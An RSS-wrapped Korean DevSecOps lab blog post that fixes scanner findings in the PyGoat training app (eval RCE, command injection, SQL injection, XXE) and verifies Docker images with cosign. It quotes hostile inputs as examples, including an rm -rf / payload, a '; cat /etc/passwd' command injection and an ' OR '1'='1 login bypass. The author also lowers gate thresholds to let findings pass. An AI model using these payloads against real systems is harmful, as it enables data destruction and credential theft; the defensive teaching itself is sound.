&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;4) 원격 코드 실행(Remote Code Execution, RCE) 취약점&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;890&quot; data-origin-height=&quot;513&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/QSYZi/dJMcabcVHlm/BrP8U6sgyZCgb8wGmVeTrk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/QSYZi/dJMcabcVHlm/BrP8U6sgyZCgb8wGmVeTrk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/QSYZi/dJMcabcVHlm/BrP8U6sgyZCgb8wGmVeTrk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQSYZi%2FdJMcabcVHlm%2FBrP8U6sgyZCgb8wGmVeTrk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;650&quot; height=&quot;375&quot; data-origin-width=&quot;890&quot; data-origin-height=&quot;513&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-path-to-node=&quot;3&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. 이슈 분석&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;4&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,0,0&quot;&gt;원인&lt;/b&gt;: 사용자로부터 입력받은 데이터(&lt;span style=&quot;background-color: #f6e199;&quot;&gt;request.POST.get('expression'))&lt;/span&gt;를 검증 없이 파이썬의 eval() 함수에 직접 전달함.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,1,0&quot;&gt;위협&lt;/b&gt;: eval()은 문자열을 파이썬 코드로 실행하는 함수. 공격자가 단순한 수식 대신 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;__import__('os').system('rm -rf /')&lt;/span&gt;와 같은 명령어를 보내면 서버의 모든 데이터가 삭제되거나 시스템이 장악될 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt; 2. 해결 방안 (보안 가이드라인)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt; ast.literal_eval&lt;/span&gt; 사용 (안전한 파이썬 객체 변환)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;5) command Injection&amp;nbsp; 취약점&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;917&quot; data-origin-height=&quot;865&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bdCT8K/dJMcaiiQg8j/Kr7WF5QGW2OD53nGqRg1Q0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bdCT8K/dJMcaiiQg8j/Kr7WF5QGW2OD53nGqRg1Q0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bdCT8K/dJMcaiiQg8j/Kr7WF5QGW2OD53nGqRg1Q0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbdCT8K%2FdJMcaiiQg8j%2FKr7WF5QGW2OD53nGqRg1Q0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;566&quot; height=&quot;534&quot; data-origin-width=&quot;917&quot; data-origin-height=&quot;865&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-path-to-node=&quot;2&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. 취약점 분석&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;3&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3,0,0&quot;&gt;원인&lt;/b&gt;: &lt;span style=&quot;background-color: #f6e199;&quot;&gt;request.POST.get('ip')&lt;/span&gt;로 받은 값을 &lt;span style=&quot;background-color: #dddddd;&quot;&gt;nmap&lt;/span&gt; 명령어 뒤에 그대로 붙여서 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;shell=True &lt;/span&gt;옵션과 함께 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;subprocess.Popen&lt;/span&gt;으로 실행함.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3,1,0&quot;&gt;위협&lt;/b&gt;: 공격자가 IP 대신 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;127.0.0.1; cat /etc/passwd&lt;/span&gt;와 같은 값을 입력하면, 서버는 nmap 실행 후 바로 이어서 서버의 민감한 파일 내용을 유출하는 명령을 수행함.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. 해결 방안 (보안 가이드라인)&lt;/b&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;6&quot; data-ke-size=&quot;size16&quot;&gt;가장 권장되는 방식은 &lt;b data-index-in-node=&quot;12&quot; data-path-to-node=&quot;6&quot;&gt;shell=True를 제거&lt;/b&gt;하고, 명령어를 &lt;b data-index-in-node=&quot;35&quot; data-path-to-node=&quot;6&quot;&gt;리스트(List) 형태&lt;/b&gt;로 전달&lt;/p&gt;
&lt;pre id=&quot;code_1777482172996&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# L233-234 수정
def command_out(command_list):
    # shell=False(기본값)를 사용하고 리스트로 인자를 전달하여 인젝션 방어
    process = subprocess.Popen(
        command_list, 
        stdout=subprocess.PIPE, 
        stderr=subprocess.PIPE
    )
    return process.communicate()

# L241-243 수정
ip = request.POST.get('ip')
# 명령어를 문자열 합치기가 아닌 리스트 형태로 구성
command = [&quot;nmap&quot;, ip] 
res, err = command_out(command)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-path-to-node=&quot;6&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;6&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;6&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;6&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;6) JavaScript의 암묵적 전역 변수 생성&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;903&quot; data-origin-height=&quot;676&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lvnT7/dJMcabcVHCr/A906PWkNiDO4kMLSwkOh90/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lvnT7/dJMcabcVHCr/A906PWkNiDO4kMLSwkOh90/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lvnT7/dJMcabcVHCr/A906PWkNiDO4kMLSwkOh90/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlvnT7%2FdJMcabcVHCr%2FA906PWkNiDO4kMLSwkOh90%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;903&quot; height=&quot;676&quot; data-origin-width=&quot;903&quot; data-origin-height=&quot;676&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;3&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. 이슈 분석&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;4&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,0,0&quot;&gt;원인&lt;/b&gt;: comment 변수를 선언할 때 let, const, 또는 var 키워드를 사용하지 않음&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,1,0&quot;&gt;현상&lt;/b&gt;: &lt;b&gt;JavaScript 엔진은 선언 키워드가 없는 변수를 만나면 이를 전역 객체(브라우저의 경우 window)의 속성으로 할당&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,2,0&quot;&gt;위협&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: circle;&quot; data-path-to-node=&quot;4,2,1&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,2,1,0,0&quot;&gt;네임스페이스 오염&lt;/b&gt;: 다른 스크립트에서 같은 이름의 전역 변수를 사용할 경우 데이터가 덮어씌워지는 충돌이 발생&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,2,1,1,0&quot;&gt;메모리 누수&lt;/b&gt;: 함수 실행이 끝나도 전역 변수는 메모리에 계속 남아 있어 자원 낭비&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,2,1,2,0&quot;&gt;의도치 않은 동작&lt;/b&gt;: SendToServer() 함수 밖에서도 comment 값에 접근하거나 수정할 수 있게 되어 프로그램의 흐름을 예측하기 어렵게 만듭니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-path-to-node=&quot;6&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. 해결 방안 (Best Practice)&lt;/b&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;7&quot; data-ke-size=&quot;size16&quot;&gt;상황에 맞는 키워드를 사용하여 변수를 명시적으로 선언&lt;/p&gt;
&lt;p data-path-to-node=&quot;7&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;7&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;7&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;7&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;7) SQL Injection 취약점&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;881&quot; data-origin-height=&quot;803&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/RTd4O/dJMcaa6cSqr/nHnCARGRNSgF7vjMyOLw20/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/RTd4O/dJMcaa6cSqr/nHnCARGRNSgF7vjMyOLw20/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/RTd4O/dJMcaa6cSqr/nHnCARGRNSgF7vjMyOLw20/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FRTd4O%2FdJMcaa6cSqr%2FnHnCARGRNSgF7vjMyOLw20%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;706&quot; height=&quot;643&quot; data-origin-width=&quot;881&quot; data-origin-height=&quot;803&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;2&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;2&quot;&gt;1. 이슈 분석&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;3&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3,0,0&quot;&gt;원인&lt;/b&gt;: &lt;span style=&quot;background-color: #f6e199;&quot;&gt;request.POST.get&lt;/span&gt;으로 받은 데이터를 &lt;b&gt;검증 없이 SQL 쿼리 문장에 직접 삽입&lt;/b&gt;함.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3,1,0&quot;&gt;현상&lt;/b&gt;: 공격자가 패스워드 입력란에 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;' OR '1'='1&lt;/span&gt;과 같은 값을 넣으면, 쿼리가 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;SELECT * FROM ... WHERE user='...' AND password='' OR '1'='1'&lt;/span&gt;이 되어 인증을 우회하고 모든 계정 정보를 탈취할 수 있음.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3,2,0&quot;&gt;위협&lt;/b&gt;: 데이터베이스의 모든 정보 유출, 데이터 삭제 또는 변조, 관리자 권한 탈취 등 파괴적인 결과를 초래함.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5&quot;&gt;2. 해결 방안 (보안 가이드라인)&lt;/b&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;6&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;6&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Django의 ORM 기능을 사용&lt;/b&gt;하거나, 로우 쿼리(Raw Query)를 써야 한다면 반드시 &lt;b data-index-in-node=&quot;52&quot; data-path-to-node=&quot;6&quot;&gt;매개변수화된 쿼리(Parameterized Query)&lt;/b&gt; 방식을 사용해야 합니다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;6&quot; data-ke-size=&quot;size16&quot;&gt;방법 A: Django ORM 사용 (가장 권장)&lt;/p&gt;
&lt;pre id=&quot;code_1777484663115&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 수정된 코드
val = login.objects.filter(user=name, password=password)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-path-to-node=&quot;6&quot; data-ke-size=&quot;size16&quot;&gt;방법 B: 매개변수화된 로우 쿼리 사용&lt;/p&gt;
&lt;pre id=&quot;code_1777484681068&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# L158 ~ L162 수정
sql_query = &quot;SELECT * FROM introduction_login WHERE user=%s AND password=%s&quot;
val = login.objects.raw(sql_query, [name, password]) # 변수를 리스트로 안전하게 전달&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;8) XML 외부 엔티티(XML External Entity, XXE)&amp;nbsp; 취약점&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;871&quot; data-origin-height=&quot;817&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bFFuAz/dJMcafsSSFN/ApKOE9rcsTHASUfgLYPWu0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bFFuAz/dJMcafsSSFN/ApKOE9rcsTHASUfgLYPWu0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bFFuAz/dJMcafsSSFN/ApKOE9rcsTHASUfgLYPWu0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbFFuAz%2FdJMcafsSSFN%2FApKOE9rcsTHASUfgLYPWu0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;691&quot; height=&quot;648&quot; data-origin-width=&quot;871&quot; data-origin-height=&quot;817&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;2&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;2&quot;&gt;1. 이슈 분석&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;3&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3,0,0&quot;&gt;원인&lt;/b&gt;: &lt;span style=&quot;background-color: #f6e199;&quot;&gt;parser.setFeature(feature_external_ges, True)&lt;/span&gt; 설정으로 인해 XML 파서가 외부 리소스를 불러올 수 있게 허용됨.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3,1,0&quot;&gt;현상&lt;/b&gt;: 공격자가 악의적인 XML 데이터를 전송하여 서버 내부 파일(예: /etc/passwd)을 읽거나 내부 네트워크 스캔, SSRF 공격을 수행할 수 있음.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3,2,0&quot;&gt;위협&lt;/b&gt;: 서버 기밀 데이터 유출 및 시스템 통제권 상실 등 매우 치명적인 보안 사고 유발 가능.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5&quot;&gt;2. 해결 방안 (보안 가이드라인)&lt;/b&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;6&quot; data-ke-size=&quot;size16&quot;&gt;XXE 공격을 방어하는 가장 확실한 방법은 파서의 &lt;b data-index-in-node=&quot;28&quot; data-path-to-node=&quot;6&quot;&gt;외부 엔티티 참조 기능을 명시적으로 끄는 것&lt;/b&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;6&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1777485123868&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# L259 수정
# 외부 엔티티(External Entities) 및 파라미터 엔티티 기능을 False로 설정
parser.setFeature(feature_external_ges, False)
parser.setFeature(feature_external_pes, False)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나머지는 high 이하들은 checkgate 기준을 좀 낮춰서 통과시켰다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;4-3 Snyk 취약점 해결&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;취약점이 있는 라이브러리 버전을 변경만 하면 됨. 이번에는 그냥 통과&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1777489132416&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt; continue-on-error: true # 실습에서는 취약점이 있어도 성공하려면 true로 변경하면됨&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 style=&quot;text-align: center;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;5&amp;nbsp; 도커 이미지 확인 및 서명 검증&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;918&quot; data-origin-height=&quot;472&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/q1OXM/dJMcaakPZdR/dBwCVZ3ZkCaxQND95cg2f1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/q1OXM/dJMcaakPZdR/dBwCVZ3ZkCaxQND95cg2f1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/q1OXM/dJMcaakPZdR/dBwCVZ3ZkCaxQND95cg2f1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fq1OXM%2FdJMcaakPZdR%2FdBwCVZ3ZkCaxQND95cg2f1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;918&quot; height=&quot;472&quot; data-origin-width=&quot;918&quot; data-origin-height=&quot;472&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;2,0,0&quot;&gt;애플리케이션 이미지 (devsecops)&lt;/b&gt;: 실제 서비스가 실행되는 원본 컨테이너 이미지.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;2,1,0&quot;&gt;서명 파일 (.sig)&lt;/b&gt;: 원본 이미지의 Digest(고유 식별값)를 기반으로 생성된 무결성 보증서.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;2,2,0&quot;&gt;어테스테이션 파일 (.att)&lt;/b&gt;: 이미지 내부에 포함된 소프트웨어 명세(&lt;b data-index-in-node=&quot;39&quot; data-path-to-node=&quot;2,2,0&quot;&gt;SBOM&lt;/b&gt;) 등을 증명하는 파일.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;2,3,0&quot;&gt;이전 기록 (sha256-...)&lt;/b&gt;: 이전 빌드 결과물로, 코드가 수정되면 &lt;b data-index-in-node=&quot;41&quot; data-path-to-node=&quot;2,3,0&quot;&gt;Digest&lt;/b&gt;가 변하기 때문에 새로운 서명 세트와 별개로 남겨진 과거 이력.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;공개키로 이미지 검증&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1777540451593&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;cosign verify --key cosign.pub [Dockerhub_ID]/pygoat:devsecops&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;710&quot; data-origin-height=&quot;140&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bGhk8C/dJMcaiiQ7O6/hfygkAqDZcHHyzJkC7EA70/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bGhk8C/dJMcaiiQ7O6/hfygkAqDZcHHyzJkC7EA70/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bGhk8C/dJMcaiiQ7O6/hfygkAqDZcHHyzJkC7EA70/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbGhk8C%2FdJMcaiiQ7O6%2FhfygkAqDZcHHyzJkC7EA70%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;710&quot; height=&quot;140&quot; data-origin-width=&quot;710&quot; data-origin-height=&quot;140&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;350&quot; data-origin-height=&quot;590&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b4dBFg/dJMcacwc37g/UpJg3Y7ZrpMIOvKMKvReZ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b4dBFg/dJMcacwc37g/UpJg3Y7ZrpMIOvKMKvReZ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b4dBFg/dJMcacwc37g/UpJg3Y7ZrpMIOvKMKvReZ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb4dBFg%2FdJMcacwc37g%2FUpJg3Y7ZrpMIOvKMKvReZ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;198&quot; height=&quot;334&quot; data-origin-width=&quot;350&quot; data-origin-height=&quot;590&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>Project/Devsecops</category>
      <author>놀고 싶어요</author>
      <guid isPermaLink="true">https://taemin01.tistory.com/155</guid>
      <comments>https://taemin01.tistory.com/155#entry155comment</comments>
      <pubDate>Tue, 28 Apr 2026 01:32:40 +0900</pubDate>
    </item>
    <item>
